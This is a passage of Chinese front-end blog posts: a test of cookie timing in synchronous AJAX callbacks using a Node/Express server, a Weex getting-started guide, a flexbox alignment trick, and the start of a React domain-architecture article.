【js.html】自己实现的 ajax 请求函数
<!DOCTYPE html>
<html>
<head>
<title>JS</title>
<meta charset="utf-8" />
</head>
<body>
js
<script>
var _$ajax = (function () {
/**
* 生产XHR兼容IE6
*/
var createXHR = function () {
if (typeof XMLHttpRequest != "undefined") { // 非IE6浏览器
return new XMLHttpRequest();
} else if (typeof ActiveXObject != "undefined") { // IE6浏览器
var version = [
"MSXML2.XMLHttp.6.0",
"MSXML2.XMLHttp.3.0",
"MSXML2.XMLHttp",
];
for (var i = 0; i < version.length; i++) {
try {
return new ActiveXObject(version[i]);
} catch (e) {
return null
}
}
} else {
throw new Error("您的系统或浏览器不支持XHR对象!");
}
};
/**
* 将JSON格式转化为字符串
*/
var formatParams = function (data) {
var arr = [];
for (var name in data) {
arr.push(name + "=" + data[name]);
}
arr.push("nocache=" + new Date().getTime());
return arr.join("&");
};
/**
* 字符串转换为JSON对象,兼容IE6
*/
var _getJson = (function () {
var e = function (e) {
try {
return new Function("return " + e)()
} catch (n) {
return null
}
};
return function (n) {
if ("string" != typeof n) return n;
try {
if (window.JSON && JSON.parse) return JSON.parse(n)
} catch (t) {
}
return e(n)
};
})();
/**
* 回调函数
*/
var callBack = function (xhr, options) {
if (xhr.readyState == 4 && !options.requestDone) {
var status = xhr.status;
if (status >= 200 && status < 300) {
options.success && options.success(_getJson(xhr.responseText));
} else {
options.error && options.error();
}
//清空状态
this.xhr = null;
clearTimeout(options.reqTimeout);
} else if (!options.requestDone) {
//设置超时
if (!options.reqTimeout) {
options.reqTimeout = setTimeout(function () {
options.requestDone = true;
!!this.xhr && this.xhr.abort();
clearTimeout(options.reqTimeout);
}, !options.timeout ? 5000 : options.timeout);
}
}
};
return function (options) {
options = options || {};
options.requestDone = false;
options.type = (options.type || "GET").toUpperCase();
options.dataType = options.dataType || "json";
options.contentType = options.contentType || "application/x-www-form-urlencoded";
options.async = options.async;
var params = options.data;
//创建 - 第一步
var xhr = createXHR();
//接收 - 第三步
xhr.onreadystatechange = function () {
callBack(xhr, options);
};
//连接 和 发送 - 第二步
if (options.type == "GET") {
params = formatParams(params);
xhr.open("GET", options.url + "?" + params, options.async);
xhr.send(null);
} else if (options.type == "POST") {
xhr.open("POST", options.url, options.async);
//设置表单提交时的内容类型
xhr.setRequestHeader("Content-Type", options.contentType);
xhr.send(params);
}
}
})();
_$ajax({
url: '/api',
async: false,
type: 'POST',
success: function (result) {
alert("cookie:\n" + document.cookie)
}
});
</script>
</body>
</html>
三个文件都是一样的,在html 加载完之后发起一个同步请求,该请求会返回一个 cookie,在回调中将document.cookie
打印出来,检测是否已经在回调时写入的了 cookie。
下面使用 node 实现这个可写 cookie 的服务。
【serve.js】
var express = require("express");
var http = require("http");
var fs = require("fs");
var app = express();
var router = express.Router();
router.post('/api', function (req, res, next) {
res.header("Access-Control-Allow-Origin", "*");
res.header("Access-Control-Allow-Methods", "PUT,POST,GET,DELETE,OPTIONS");
res.header("Access-Control-Allow-Headers", "Content-Type,Content-Length, Authorization, Accept,X-Requested-With");
res.header("Set-Cookie", ["target=ccccccc|" + new Date()]);
res.end('ok');
});
router.get('/test1', function (req, res, next) {
fs.readFile("./nej.html", function (err, data) {
res.end(data);
});
});
router.get('/test2', function (req, res, next) {
fs.readFile("./jquery.html", function (err, data) {
res.end(data);
});
});
router.get('/test3', function (req, res, next) {
fs.readFile("./js.html", function (err, data) {
res.end(data);
});
});
app.use('/', router);
http.createServer(app).listen(3000);
好了,万事大吉,run 一把
$ node serve.js
我们依次执行如下操作,
【nej.html】
【jquery.html】
【js.html】
咦?结果不一样!使用 nej 的第二次加载读取到了第一次 cookie。其他的两次均为获取到。
nej 依赖框架的加载是异步的,当同步请求发起时,dom 已经加载完毕,回调相应时,document.cookie
已经呈“ready”状态,可读可写。但请求依然获取不到自身返回携带的 cookie。
而其他两种加载的机制阻塞了 dom 的加载,导致同步请求发起时,dom 尚未加载完成,回调相应时,document.cookie
依然不可写。
我们将以上几个 html 文件的逻辑做下修改。
将同步请求推迟到 document 点击触发时再发起。
如下
$('document').click(function () {
// TODO 发起同步请求
});
依然是上面的执行步骤,来看看此次的结果
【nej.html】
【jquery.html】
【js.html】
结果和预期一样,本次请求无法获取本期返回的目标 cookie,请求回调执行后,目标cookie才会更新到document.cookie
上。
在执行以上操作是,发现,【jquery.html】的执行结果时不时会有两种结果
一言不合看源码
我们在 jquery 的源码中看到,jquery 的success
回调绑定在了 onload
事件上
https://code.jquery.com/jquery-3.2.1.js :9533行
而我自己实现的和 nej 的实现均是将success
回调绑定在了 onreadystatechange
事件上,唯一的区别就在于此
一个正向的 ajax 请求,会先触发两次onreadystatechange
,在触发onload
,或许原因在于document.cookie
的同步有几率在onload
事件触发前完成??I'm not sure.
只有问题没有方案的都是在耍流氓!
将回调方法中的 cookie 获取方法转化为异步操作。
_$ajax({
url: '/api',
async: false,
type: 'POST',
success: function (result) {
setTimeout(function(){
// do something 在此处获取 cookie 操作是安全的
},0)
}
});
没有把握的方案,我们是要斟酌着实施的。
如果你不能100%却被操作的安全性,那并不建议你强行使用 ajax 的同步操作,很多机制并不会像我们自以为是的那样理所应当。
test
自打出生的那一天起,Weex 就免不了被拿来同 React Native「一决高下」的命运。React Native 宣称「Learn Once, Write Anywhere」,而 Weex 宣称「Write Once, Run Everywhere」。在我看来,并没有谁更好,只有谁更合适。下面我将围绕 Weex 入门进行讲解。
(如果你尚不了解 React Native,并想简单入门,可以阅读【整理】React Native 快速入门笔记)
什么都不说,先给你感受下 Weex 的效果。以下就是我使用 Weex,4*8h(不连续)做出来的 demo,其中还包括素材收集,踩坑总结等时间。
此处是 demo 源码:
https://github.com/zwwill/yanxuan-weex-demo
不得不说,使用 Weex 开发 app 对于我们纯前端人员来说,是件「很爽」的事情,只要你熟悉了他的语法,基本可以做到一周上手写 app。极其适合交互要求不高,时间紧迫,人手不足的同构开发需求。
但是,当然有但是,如果你想写出一个完美的 app,你就需要在性能优化上下很大的功夫,包括动画的优化,过场的优化,图片的优化,细节的打磨等等,再者,就是你需要掌握或者「能写」一些原生的代码,不然有些功能你是实现不了的,比如 status bar 的属性更改,开场动画的制作,内存的回收,webview 的监听等等。
下面我们具体讲讲入门知识
Weex 提供了多端一致的技术方案。
在同构这条路上,Weex 比 React Native做得更彻底,他「几乎」做到了,「你来使用 vue 写一个webapp,我顺便给你编译成了 ios 和 android 的原生 app」
至于为什么要造这个轮子,官方给了以下说法
1、今天在技术社区有大量的 web 开发者,Weex 可以赋能更多的 web 开发者构建高性能和高体验的移动应用。
2、Web 开发本身具有非常强的高效率和灵活性,这和 Weex 想解决的移动端动态性问题不谋而合。
3、Web 标准和开发体验是很多顶尖而优秀的科技公司共同讨论和建设的结果,本身的设计和理念都有极高的品质保障
4、同时 Weex 也希望可以借此机会努力为标准贡献一点自己的微薄之力。
5、Web 是一种标准化的技术,标准本身就是一种力量,基于标准、尊重标准、贴近标准都意味着拥有更多的可能性。
6、Web 今天的生态和社区是非常繁荣的,有很多成熟的工具、库、工程体系、最佳实践可以使用、引入和借鉴。
在我看来,Weex 其实是 Alibaba 团队提高生产效率的产物,在淘宝这类要求多端统一迭代快速的部门,三端约定一种便于统一的规范,在加上时间的发酵,渐渐的就有了此类脚手架的雏形,同时在脸书 React Native 开源带来的极大轰动后,自己也坐不住了吧^_^
好了,闲话就说到这,下面就来让我们解剖一下WEEX的优劣良莠。
入门 Weex 前需要了解以下知识,这样能帮助你更快的掌握
Node:《Node.js 教程》
Vue:《Vue.js官方教程》
ES6:《ECMAScript 6 入门》
再者就是 ios 和 android 开发语法的入门和编辑器的使用
IOS : MacOS
, 黑苹果
Android :MacOS
, Linux
, Windows
你可以参考官方文档安装必须的依赖环境 http://weex.apache.org/cn/guide/set-up-env.html,
也可以直接安装以下环境
下载必须的插件:
a) JDK1.8+
b) Show Package Details
c) Android SDK Build Tools
d) Android Support Repository
配置基础环境:
a) ANDROID_HOME (如运行是遇到问题可参考此文 http://www.jianshu.com/p/a77396301b22)
b) JAVA_HOME
官方文档上的入门 Hello world 是 web 端的,紧接着介绍了如何「集成 Weex 到已有应用」
但是,身为一个 web 前端开发者,如果你不懂原生语音的话,介绍这些并不能起到很好的引导作用,因为web前端开发者都有「一统前端界」的野心(Web+Android+IOS),「寄人篱下」只能是暂时的。
快速创建并运行一个纯 Weex App 对于「纯」前端同学来说,才是有意思的事儿。
但:
为什么文档要这么设计也是跟Weex的定位有关的,读完下文后续你就慢慢懂了,后面我将做总结解释
如果你在官方教程里没有找到创建工程的教程,可以阅读此文《Weex 快速创建工程 Hello World》
Weex 在迭代的过程中选择了于 Vue 2.0 握手,因为该版本的 Vue 加入了 Virtual-DOM 和预编译器的设计,使得该框架在运行时能够脱离 HTML 和 CSS 解析,只依赖 JavaScript,如此,Vue 在和 Weex 合作后,便获得了使用 JS 预编译原生的组件 UI 的能力。
同 React Native 一样,有人也将 Weex 叫做 Vue Native。
如果你对 Vue 还不了解,可以先学习【预科】部分推荐的《Vue.js 官方教程》。
那么接下来我们讲讲,Vue 在 Weex 中的不同
虽说 Weex 使用 Vue 语言写的,但毕竟是需要在不同平台间运行的,虽然大部分语法都有支持,但是依然有部分语法是不同的
目前 Weex 支持了基本的容器 (div)、文本 (text)、图片 (image)、视频 (video) 等组件,注意是组件,而不是标签,虽然使用起来跟 html 标签很像,至于其他标签基本可以使用以上组件组合而成。
因为 Weex 解析 vue 得到的并不是 dom,而是原生布局树
并不支持 Web 中所有的事件类型,详情请参考《通用事件》
在 Weex 中能够调用移动设备原生 API,使用方法是通过注册、调用模块来实现。其中有一些模块是 Weex 内置的,如 clipboard 、 navigator 、storage 等。
《clipboard 剪切板》
《navigator 导航控制》
《storage 本地存储 》
为了保持框架的通用性,Weex 内置的原生模块有限,不过 Weex 提供了横向扩展的能力,可以扩展原生模块,具体的扩展方法请参考《iOS 扩展》 和《Android 扩展》。
Weex 中的样式是由原生渲染器解析的,出于性能和功能复杂度的考虑,Weex 对 CSS 的特性做了一些取舍
1、Weex 中只支持单个类名选择器,不支持关系选择器,也不支持属性选择器。
2、组件级别的作用域,为了保持 web 和 Native 的一致性,需要<style scoped>
写法
3、支持了基本的盒模型和 flexbox 布局,详情可参考Weex 通用样式文档。但是需要注意的是,
display: none;
可用opacity: 0;
代替,(opacity<=0.01时,元素可点透)举个栗子,以下是严选App Demo首页的简化代码
<template>
<div class="wrapper">
<text class="iconfont"></text>
<home-header></home-header>
<scroller class="main-list" offset-accuracy="300px">
<refresher></refresher>
<div class="cell-button" @click="jumpWeb('https://m.you.163.com')">
<yx-slider :imageList="YXBanners" ></yx-slider>
</div>
<div class="cell-button">
<block-1 :title="block1.title" :items="block1.items"></block-1>
</div>
</scroller>
</div>
</template>
<style scoped>
.iconfont { font-family:iconfont; }
.main-list{ position: fixed; top: 168px; bottom: 90px; left: 0; right: 0; }
</style>
<script>
var navigator = weex.requireModule('navigator');
import util from '../../src/assets/util';
import Header from '../components/Header.vue';
import refresher from '../components/refresh.vue';
import YXSlider from '../components/YXSlider.vue';
import Block1 from '../components/Block1.vue';
export default {
components: {
'home-header': Header,
'refresher': refresher,
'yx-slider': YXSlider,
'block-1': Block1
},
data () {
return {
YXBanners: [
{ title: '', src: 'http://doc.zwwill.com/yanxuan/imgs/banner-1.jpg'},
{ title: '', src: 'http://doc.zwwill.com/yanxuan/imgs/banner-2.jpg'},
{ title: '', src: 'http://doc.zwwill.com/yanxuan/imgs/banner-3.jpg'}
]
}
},
methods: {
jumpWeb (_url) {
const url = this.$getConfig().bundleUrl;
navigator.push({
url: util.setBundleUrl(url, 'page/web.js?weburl='+_url) ,
animated: "true"
});
}
}
}
</script>
如果以上代码脱离工程单独出现,基本上是无法得知他是 Weex 工程。此处可切实感受到 Weex 的 web 开发体验
<template>
<div>
<text v-for="(v, i) in list" class="text">{{v}}</text>
<image style="" src=""></image>
<video class="video" :src="src" autoplay controls @start="onstart" @pause="onpause" @finish="onfinish" @fail="onfail"></video>
</div>
</template>
Weex 工程中常用的标签有<div />
,<text />
,<image />
,<video />
(组件另算),由此四种标签基本可以满足绝大多数场景的需求,虽说此标签同 web 工程下的标签用法一致,但此处的标签已不再是我们前端口中常提的 html 标签,而且名存实亡的 Weex 标签,确切讲是 Weex 组件。
通过weex-loader、vue-loader、weex-vue-render的解析最终转换输出的便是实际的组件,有此设计只是为了完成「web开发体验」的目标。但是我们身为上层的开发人员要清楚自己每天「把玩」的到底是个什么「鬼」。
其实用阉割版来形容 Weex 的 css 支持度并不合适,但如果从「web开发体验」的角度来衡量,那么这个形容词也是可以理解的。(此处对 Weex 寄有厚望^_^)
Weex 中的所有 css 属性值的单位均为 px
,也可省略不写,系统会默认为 px
单位。
Weex 中只支持单个类名选择器,不支持关系选择器,也不支持属性选择器。
/* 支持单个类名选择器 */
.one-class {
font-size: 36px;
}
/* 不支持关系选择器 */
.parent > .child {
padding-top: 10px;
}
/* 不支持属性选择器,不支持 `v-cloak` 指令 */
[v-cloak] {
color: #FF6600;
}
这个只是对样式定义的限制,不影响样式类名的使用,在标签中可以添加多个样式类名,如:
<template>
<div class="one two three"><div>
</template>
weex支持css基本的盒模型结构,但需要注意的是
box-sizing
属性值默认为 border-box
margin
,padding
,border
等属性暂不支持合并简写Weex 中对 flexbox 布局支持度很高,但依然有部分属性并不支持,如 align-items:baseline;
、align-content:space-around;
、align-self:wrap_reverse;
等。
具体 Weex 对 flexbox 的支持和布局算法,可通过此文进行了解由 FlexBox 算法强力驱动的 Weex 布局引擎,此处便不再赘述。
在 Weex 的 ios 和 android 端,并不支持 display
属性。
因此,不能使用 display:none;
来控制元素的显隐性,所以 vue 语法中的 v-show
条件渲染是不生效的。
我们可以使用 v-if
代替,或者用 opacity:0;
来模拟。
需要注意的是,ios和android端并不能使用 opacity:0;
来完全模拟 visibility: hidden;
,因为,当
opacity 的只小于等于 0.01 时,native 控件便会消失,占位空间还在,但用户无法进行交互操作,点击时会发生点透效果。
Weex 支持 css3 属性,虽然支持并不够,但相较 React Native 的「不能用」已经是强大很多了。
以下几种属性我们在开发前需要知道她的支持度
animation
实现动画交互由于使用了增强版的 webpak 打包工具 weexpack,支持第三方框架也是件自然而然的事情。
常用的有 vuex
、vue-router
等,可根据项目实际情况引入需要的第三方工具库
npm 包管理是前端开发朋友们再熟悉不过的包管理方式了。这也是为什么 React Native 和 Weex 都选择这种管理方式的原因。
以下是本工程的 package.json 文件,这里就不做讲解了,不熟悉的朋友点这里->NPM 使用介绍
{
"name": "yanxuan-weex",
"version": "1.0.0",
"description": "a weex project",
"main": "index.js",
"scripts": {
"build": "webpack",
"build_plugin": "webpack --config ./tools/webpack.config.plugin.js --color",
"dev": "weex-builder src dist -w",
"serve": "webpack-dev-server --config webpack.dev.js -p --open"
},
"keywords": ["weex"],
"author": "zwwill",
"license": "MIT",
"dependencies": {
"vue": "^2.4.2",
"vue-router": "^2.7.0",
"vuex": "^2.1.1",
"vuex-router-sync": "^4.3.0",
"weex-html5": "^0.4.1",
"weex-vue-render": "^0.11.2"
},
"devDependencies": {
"babel-core": "^6.21.0",
"babel-loader": "^6.2.4",
"babel-plugin-add-module-exports": "^0.2.1",
"babel-plugin-transform-runtime": "^6.9.0",
"babel-preset-es2015": "^6.9.0",
"babel-runtime": "^6.9.2",
"css-loader": "^0.26.1",
"history": "^4.7.2",
"quick-local-ip": "^1.0.7",
"vue-loader": "^13.0.4",
"vue-template-compiler": "^2.4.2",
"webpack": "^2.7.0",
"webpack-dev-server": "^2.4.2",
"weex-builder": "^0.2.7",
"weex-loader": "^0.4.5",
"weex-router": "0.0.1"
}
}
Weex 容器默认的显示宽度 (viewport) 是 750px,页面中的所有组件都会以 750px 作为满屏宽度。
这很像移动设备的逻辑像,比如 iPhone 6 的物理像素宽为 750,逻辑像素
Type | iPhone 3G | iPhone 4 | iPhone 6 | iPhone 6Plus |
---|---|---|---|---|
物理像素 | 320x480 | 640x960 | 750x1134 | 1080x1920 |
逻辑像素 | 320x480 | 320x480 | 375x667 | 414x736 |
像素比 | @1x | @2x | @2x | @3x |
类比在 Weex 中,如果所有的显示宽度都是用默认值 750,那么显示出来的实际像素信息为
Type | iPhone 3G | iPhone 4 | iPhone 6 | iPhone 6Plus |
---|---|---|---|---|
物理像素 | 320x480 | 640x960 | 750x1134 | 1080x1920 |
显示像素 | 750x1125 | 750x1125 | 750x1134 | 750x1333 |
像素比 | @0.427x | @0.85x | @1x | @1.44x |
所以我们在使用 Weex 做 UI 适配时就没有所谓的 @2x 图和 @3x 图,所有的尺寸都是Weex帮我们根据
750 作为基数宽做的缩放。
当然,Weex 提供了改变此显示宽度的 API,setViewport
,通过此方法可以改变页面的显示宽度,可以实现每个页面根据自己的需求改变基数逻辑尺寸
因此对于一些固定的 icon,不建议使用普通的静态图片或者雪碧图,这里建议使用矢量的字体图片,有以下优点:
Weex 的调试方式有多种,如果说RN的调试模式是解放了原生开发的调试,那么 Weex 的调试方式可以说是赋予了 web 模式调试原生应用的能力。
此方法多用于解决 bug,检测控件的布局问题
# 调试单个页面
$ weex debug your_weex.vue
# 调试整个工程
$weex debug your/path -e App.vue
执行调试命令后,会将指定的文件打包成 JSBundle,并启动一个 weex Devtool 服务(http://localhost:8088可访问,如下图),同时将 JSBundle 文件传递至该服务跟路径下的weex文件夹内(http://localhost:8088/weex/App.js,实际是下图右边二维码的的内容)。
使用 Weex Playground App 扫下左二维码进入调试模,见下图
再次扫码右方二维码,点击【inspector】即可进入调试模式。
每一个控件都是相同的数据结构
<view class="WXText" frame="{{0,0},{414,736}}" hidden="NO" alpha="1" opaque="YES"></view>
此方法多用于开发调试,试试观察结果
$ weex your_weex.vue
如果出现 access 权限报错,使用管理员指令
$ sudo weex your_weex.vue
此时本地同时启动一个watch的服务器用于检查代码变更,自动重新构建 JSBundle,视觉同步刷新。
上图看到的效果即为H5页面的效果,我们一般在整个单页编写完成后在使用 Weex Playground App 扫码查看真机效果,或者你也可以在编写的同时使用真机观察代码的运行效果,每次重新构建包到重绘的速度还是很快的。
但前提是你要保证,你的手机和电脑的连在同一个局域网下,并且使用IP访问。
虽然说,Weex 可以抹平三端开发的差异,但是知其然也应知其所以然使用起来才能游刃有余。
熟悉 React Native 的人都知道, React Native 的发布实际上就是发布一个 JSBundle,Weex 也是这样,但不同的是,Weex 将工程进行分包,发布多个 JSBundle。因为 Weex 是单页独立开发的,每个页面都将通过 Weex 打包器将 vue/we 页面打包成一个单独的 JSBundle,这样的好处在于减少单个 bundle 包的大小,使其变的足够小巧轻量,提高增量更新的效率。
# 仅打包
$ npm run build
# 打包+构建
$ weex build ios
# 打包+构建+安装执行
$ weex run ios
以上三种均会触发 Weex 对工程进行打包。
在我们执行了以上打包命令后,所有的工程文件将被单独打成一个独立的 JSBundle,如下:
打包后的 JSBundle 有两种格式
# 由.vue文件打包出来的包格式(简写),使用 vue 2.0 语法编写
// { "framework": "Vue"}
/******/ (function(modules) {
.......
/******/ })
# 由.we文件打包出来的包格式(简写),使用 weex 语法编写
// { "framework": "Weex" }
/******/ (function(modules) {
.......
/******/ })
不同的头部是要告诉使用什么语法解析此JSBundle。
至此,我们准备「热更新的包」就已经准备完毕了,接下就是发包执行了。
打包后的 JSBundle 一般发布到发包服务器上,客户端从服务器更新包后即可在下次启动执行新的版本,而无需重新下载 app,因为运行依赖的 WeexSDK 已经存在于客户端了,除非新包依赖于新的 SDK,这也是热更新的基本原理。
【WeexSDK】包括
- 【JS Framework】JSBundle 的执行环境
- 【JS-Native Bridge】中间件或者叫通讯桥梁,也叫【Weex Runtime】
- 【Native Render Engine】解析 js 端发出的指令做原生控件布局渲染
Weex 的 iOS 和 Android 客户端的【JSFramework】中都会运行一个 JavaScript 引擎,来执行 JS bundle,同时向各端的渲染层发送规范化的指令,调度客户端的渲染和其它各种能力。iOS 下选择了 JavaScriptCore 内核,而在 Android 下选择了 UC 提供的 v8 内核(RN两端都是JavaScriptCore 内核)。
JSBundle 被 push 到客户端后就会在 JSFramework 中执行,最终输出三端可读性的 VNode 节点,数据结构简化如下:
{
tag: 'div',
data: {
staticStyle: { justifyContent: 'center' }
},
children: [{
tag: 'text',
data: {
staticClass: 'txt'
},
context: {
$options: {
style: {
freestyle: {
textAlign: 'center',
fontSize: 200
}
}
}
},
children: [{
tag: '',
text: '文字'
}]
}]
}
有了统一的 VNode 节点,各端即可根据自己的方法解析渲染原生UI了,之前的所有操作都是一致的,包括文件格式、打包编译过程、模板指令、组件的生命周期、数据绑定等。
然而由于目标执行环境不同(浏览器和 Weex 容器),在渲染真实原生 UI 的时候调用的接口也不同。
此过程发生在【Weex SDK】的【Weex Runtime】中。
最总【Weex Runtime】发起渲染指令callNative({...})
有RenderEngine完成渲染
官方配图:
扩充配图:
目前支持单页使用或整个 App 使用 Weex 开发(还不完善,需要开发 Router 和生命周期管理)。
本文先行的严选 demo 便是使用第二种全屏模式,使用 Weex 开发整个 App,期间触碰到 Weex 的在此模式下诸多不足,如 StatusBar 控制、Tab 切换、开场动画自定义、3DTouch、 Widget 等等原生的特色功能没有现成的 API,需要我们自己扩展,甚至扩展不了。因此并不能完全“灭掉”原生。
所以,目前在阿里内部使用较多的是此模式中的单页模式,这也是为什么官方文档在介绍原理后就直接奔入集成到原生应用的主题上去了。
把 Weex 当作一个 iOS/Android 组件来使用,类比 ImageView。这类需求遍布手淘主链路,如首页、主搜结果、交易组件化等,这类 Native 页面主体已经很稳定,但是局部动态化需求旺盛导致频繁发版,解决这类问题也是 Weex 的重点。
在 H5 种使用 Weex,类比 WVC。一些较复杂或特殊的 H5 页面短期内无法完全转为 Weex 全页模式(或RN),比如互动类页面、一些复杂频道页等。这个痛点的解决办法是:在现有的H5页面上做微调,引入Native 解决长列表内存暴增、滚动不流畅、动画/手势体验差等问题。
另外,WVC 将会融入到 Weex 中,成为 Weex 的 H5 Components 模式。
由于 Weex 没有封装 Tab 的组件,因此笔者使用了很多方法来实现Tab切换的功能。
1、vue-router:router **方便管理,但是每次切换都是新的实例,没有tab模式
2、opacity、visablity:此处需要注意,Weex的渲染机制和web是有区别的,对夫层设置 opacity 或者visiablity隐藏是无法同时隐藏定位为position:fixed;
的子元素。
3、position、transform:改变 tab 层的位置,此方法在定位为 position:fixed;
的子元素上依然无效。
Weex 中所有的静态资源基本都是网络资源,包括图片、字体图片等,所以使用 iconfont 图标是再合适不过的了。
此 demo 中所有的 icon 均使用 的iconfont。
此处强烈推荐一个站点 www.iconfont.cn。
在此平台你可以找到几乎所有你需要的 icon,你也可以上传自己的 icon 到自己创建的项目中。同时该系统还提供生成ttf、woff 资源,并且做了 cdn 加速和 gzip 压缩,是不是跟 Weex很配呢?
不过也有风险,就是,如果哪天阿里不在维护并回收该平台的资源了,你的 app 可能就会变成这样,全是方框,或者 padding 掉你 H5 的页面
当然,这种及情况出现的几率很小,如果你是一个大公司,你手上有更好的资源急速方案,那就自己保存吧。
UIWebView是我们开发App常用的一个控件,不过Weex帮我们封装好的API明显时不够用的,目前只有pagestart
、pagefinish
、error
,并没有封装像RN那样的onShouldStartLoadWithRequest
拦截地址请求的API,在我看来,这有些不合理,并不清楚轮子的制造者是什么意图。
性能是一个大课题,在此就不做展开了,只稍微提及一些我们开发需要注意的几点
脚本语言天生自带“热更新”,Weex 针对 React Native 的热更新策略做了优化,将 WeexSDK 事先绑到了客户端上,并且对 JSBundle 进行分包增量更新,大大提高了热更新的效率。
但优点也是缺点,如果新包依赖于心的 SDK,此情况下,我们需要发布还有新 SDK 的 app 到应用市场,用户也须从市场更新此 app。不够随着 WeexSDK 版本的稳定后,相信此策略的优势就会凸显出来。
Weex 是一种轻量级、可扩展、高性能框架。集成也很方便,可以直接在 HTML5 页面嵌入,也可嵌在原生UI中。由于和 React Native 一样,都会调用 Native 端的原生控件,所以在性能上比 Hybrid 高出一个层次。
虽说这是一个大胆的实践,但对于大前端社区的统一有着推动作用,显然阿里在这一方面已经迈出了第一步。基本解决了三端同等需求导致资源浪费的痛点。
但后期可能会出现这种现象,开发一个三端的 App 会从原来的个人变成四个人,多出来的那一个人负责开发 Weex 单页。
意思就是,三端统一的不够彻底,但就目前的环境下,这一句是最优方案了,却是提高了开发效率。大前端将来将如何一统三国我们且行且观望吧。
对于一些交互视觉统一且没有很大的性能需求的游戏,Weex 还是可以胜任的。
近期笔者将尝试发布一款纯Weex构建的益智小游戏,敬请期待。
朋友们可以用这个demo体验下 Weex 版扫雷游戏开发
虽然说大一统事件百利的事,但并非无一害。
对于一些有差异化完美体验追求的项目就只能收敛或者放弃了。
对于三端同时上线,一端存在 bug 的情况,Weex 并不能保证做到牵一发而不动全身。
比如安卓的波纹按钮、3DTouch、 Widget、iWatch版本等,目前这些功能还是没有的,不知道以后 Weex
是否将其加入到官方文档中。
以上均为个人见解,不代表官方。如有不当之处还望指正。
[ 1 ] Weex官方文档 - http://weex.apache.org/cn/references/
[ 2 ] 场景研读 - Native 性能稳定性极致优化 - https://yq.aliyun.com/articles/69005
[ 3 ] 门柳 - 详解 Weex JS Framework 的编译过程 - https://yq.aliyun.com/articles/59935?spm=5176.8067842.tagmain.66.1QA1fL
[ 4 ] 阿里百川 - 深度揭秘阿里移动端高性能动态化方案Weex - https://segmentfault.com/a/1190000005031818
[ 5 ] 一缕殇流化隐半边冰霜 - Weex 是如何在 iOS 客户端上跑起来的 - http://www.jianshu.com/p/41cde2c62b81
在大量“不定宽”元素并排的布局模式下,上图是我们想要的最佳布局
但是FlexBox布局虽然枪弹但并不能完全呈现以上布局,于是我们需要结合FlexBox作下小的改动即可实现。
Flex布局,具有等分布局的能力,如图
但是底部我们并不想如此等分,我们更希望可以同上一排对齐
其实很简单,我们只要在后面加入一些等宽但是占高为0等隐藏元素即可轻松实现。
如图:
至于【empty】元素的数量需要不小于单行最多元素的数量即可,
最后我们将empty设置隐藏即可
.empty {
visibility: hidden;
}
【codepen 演示地址】
https://codepen.io/zwwill/pen/bxgpbV
<html>
<head>
<meta charset="UTF-8">
<title>并排等分,单排靠左最齐布局</title>
<style type="text/css">
* {
margin: 0;
padding: 0;
}
.main {
display: flex;
width: 1000px;
flex-flow: row wrap;
justify-content: space-between;
margin: 50px auto;
background-color: #ccc;
align-content: baseline;
}
.main span {
width: 132px;
height: 200px;
display: inline-block;
background-color: #666;
margin: 4px;
}
.main .emp{
height: 0;
border: none;
margin-top: 0;
margin-bottom: 0;
visibility: hidden;
}
</style>
</head>
<body>
<div class="main">
<span style="">1</span>
<span style="">2</span>
<span style="">3</span>
<span style="">4</span>
<span style="">5</span>
<span style="">6</span>
<span style="">7</span>
<span style="">8</span>
<span style="">9</span>
<span style="">10</span>
<span style="">11</span>
<span style="">12</span>
<span class="emp" >empty</span>
<span class="emp" >empty</span>
<span class="emp" >empty</span>
<span class="emp" >empty</span>
<span class="emp" >empty</span>
<span class="emp" >empty</span>
<span class="emp" >empty</span>
<span class="emp" >empty</span>
<span class="emp" >empty</span>
</div>
</body></html>
转载请标明出处
作者: 木羽 zwwill
首发地址:zwwill/blog#28
每个成功的项目都需要一个清晰的架构,这对于所有团队成员都是心照不宣的。
试想一下,作为团队的新人。技术负责人给你介绍了在项目进程中提出的新应用程序的架构。
然后告诉你需求:
我们的应用程序将显示一系列文章。用户能够创建、删除和收藏文章。
然后他说,去做吧!
我选择 FaceBook 开源的构建工具 Create React App,使用 Flow 来进行类型检查。简单起见,先忽略样式。
作为先决条件,让我们讨论一下现代框架的声明性本质,以及涉及到的 state 概念。
React, Angular, Vue 都是声明式的,并鼓励我们使用函数式编程的**。
你有见过手翻书吗?
一本手翻书或电影书,里面有一系列逐页变化的图片,当页面快速翻页的时候,就形成了动态的画面。 [1]
现在让我们来看一下 React 中的定义:
在应用程序中为每个状态设计简单的视图, React 会在数据发生变化时高效地更新和渲染正确的组件。 [2]
Angular 中的定义:
使用简单、声明式的模板快速构建特性。使用您自己的组件扩展模板语言。 [3]
大同小异?
框架帮助我们构建包含视图的应用程序。视图是状态的表象。那状态又是什么?
状态表示应用程序中会更改的所有数据。
你访问一个URL,这是状态,发出一个 Ajax 请求来获取电影列表,这是也状态,将信息持久化到本地存储,同上,也是状态。
状态由一系列不变对象组成
不可变结构有很多好处,其中一个就是在视图层。
下面是 React 指南对性能优化介绍的引言。
不变性使得跟踪更改变得更容易。更改总是会产生一个新对象,所以我们只需要检查对象的引用是否发生了更改。
域可以描述状态并保存业务逻辑。它是应用程序的核心,应该与视图层解耦。Angular, React 或者是 Vue,这些都不重要,重要的是不管选择什么框架,我们都能够使用自己的领。
因为我们处理的是不可变的结构,所以我们的领域层将包含实体和域服务。
在 OOP 中存在争议,特别是在大规模应用程序中,在使用不可变数据时,贫血模型是完全可以接受的。
对我来说,弗拉基米尔·克里科夫(Vladimir Khorikov)的这门课让我大开眼界。
要显示文章列表,我们首先要建模的是Article实体。
所有 Article 类型实体的未来对象都是不可变的。Flow 可以通过使所有属性只读(属性前面带 + 号)来强制将对象不可变。
// @flow
export type Article = {
+id: string;
+likes: number;
+title: string;
+author: string;
}
现在,让我们使用工厂函数模式创建 articleService。
由于在我们的应用程序中只需要一个articleService,我们将把它导出为一个单例。
createArticle 允许我们创建 Article 的冻结对象。每一篇新文章都会有一个唯一的自动生成的id和零收藏,我们仅需要提供作者和标题。
**Object.freeze()**
方法可冻结一个对象:即无法给它新增属性。 [5]
createArticle 方法返回的是一个 Article 的「Maybe」类型
Maybe 类型强制你在操作 Article 对象前先检查它是否存在。
如果创建文章所需要的任一字段校验失败,那么 createArticle 方法将返回null。这里可能有人会说,最好抛出一个用户定义的异常。如果我们这么做,但上层不实现catch块,那么程序将在运行时终止。
updateLikes 方法会帮我们更新现存文章的收藏数,将返回一个拥有新计数的副本。
